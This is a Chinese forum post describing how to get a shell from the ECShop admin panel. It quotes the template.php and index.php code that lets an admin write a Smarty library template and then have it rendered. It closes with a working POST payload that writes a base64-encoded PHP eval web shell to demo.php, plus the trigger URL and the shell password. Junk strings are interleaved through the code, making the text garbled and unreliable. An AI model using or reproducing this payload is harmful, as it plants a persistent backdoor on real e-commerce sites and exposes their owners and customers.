Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
7 A& Q* _7 L3 C+ |' |7 i  r但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: U% Z. L2 Z- v  C3 Kadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

# @* V; @1 u% J( X, ?- k, |2   
$ i0 l! |# I. b8 o# `
3 {

% I+ H1 i5 r2 ]4     check_authz_json('library_manage');
9 Z, u: s# j5 C4 o
5   
3 t, \6 R3 s8 x
6     $html = stripslashes(json_str_iconv($_POST['html']));

/ V& p9 e, d# _9 D7   

2 t! o( p3 Y  V8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" v; Z* ~) r/ ]6 I, X; v/ W- Z
" D8 x/ e; F9 g: r/ Q# h# X% x9   
, m3 V3 Q: y. }6 G2 A
6 U- M6 L- R, r* C10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
& h; q- V2 O2 p% q0 A- t' L3 C6 M
( Z& c8 r% R# s: E1 `, ~+ Y) f4 b11   

- A* Q8 C- y" m- X  L& x12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) J0 n8 ~5 U) G
13   
# \: D  h- D# W$ r( D, N5 v
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

  \0 Q$ g5 a3 L7 n& `- n5 K& }15     {
( E7 h% l1 R& k
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  h$ Y$ U* q" W1 |1 v% X
17         make_json_result('', $_LANG['update_lib_success']);

0 X+ G- v1 M1 F2 L; _- r9 ?- y18     }
+ k3 }: S9 d" _: C0 e
0 J  F" m# A- A19     else
  }& u( R" ~; G2 U
20     {
! b3 |! l  `, X& P; Y  v
- ]6 Q2 V' X9 P' T21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
! z% N5 p, `' K  L3 A1 G4 t
' F, x( Y6 U* z/ y22     }

1 o# E1 L$ O% `23 }

那么找个比较方便调用了模板的文件
index.php

8 w% S% Y. d$ N: H+ ?- I1 if ($act == 'cat_rec')
# m4 \  B; L5 _0 k7 y
2   
1 u0 j3 y) L; Z: ^' }
, S5 f; D4 G, q9 G' y3 {

4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; |$ I; W' U  f) f% a
6   

; f7 }) K6 q8 }, v, L7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

0 T  v9 ~; g2 m. l8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
# l8 J" C: ~3 K7 S2 ^4 z* [1 |
+ p- o- d% T/ m9 n; m% d11     include_once('includes/cls_json.php');
  F4 `& g7 H" r* D7 Y0 ~
12   
% \* K3 N1 ~" m+ {
13     $json = new JSON;

14   
4 x, k+ q. s  V4 B1 `% A
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

4 l+ }# Z2 \/ w16   
5 ~) o! M2 e2 }7 [' O
17     $children = get_children($cat_id);

18   
" w2 }- ~( w& `) d, m/ h  j
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( E, V  D0 T9 ~# J* \
20   
# U; C! R) L/ q# D
21     $smarty->assign('cat_rec_sign', 1);

22   
. M- ]8 R6 ^5 f  _
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
4 F5 Z! P' y8 {/ I! _) W
24   
+ z" k( v  S0 K0 i2 g. z
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# z- P0 x2 p/ t" `& P+ Z! k
0 }7 }- e( ]# E( p26   
1 t  [( V1 D# T) H' t
" T. E/ D0 g; G( Z! c) x8 M0 U$ k. ~: G# R27         echo $rec_array[$rec_type];
0 Q+ u' ?  a$ D! _' b& r
28   
+ p: m/ g" F8 W  n+ }
29     die($json->encode($result));
- p. d- {3 c3 u9 e7 q0 E; Y$ p
30   

3 @4 t# g' t; t+ a; A4 C3 r  w! c' R31 }

! _$ ]/ i8 T! g; F6 Y那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
4 A  G) ^6 z. yPost内容：
) y: j. Q9 `, R0 \1 t, Y% X
3 a- `- E2 g/ O8 j- [( U​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 Q3 ~" S0 s$ ?6 C7 ]
然后访问http://localhost/ec/index.php?act=cat_rec
) T( H7 D  h+ l3 l
& X2 s3 t. j$ N+ ], h6 p: lshel地址：http://localhost/ec/demo.php
密码c

9 J9 X* S  Y5 U8 y. S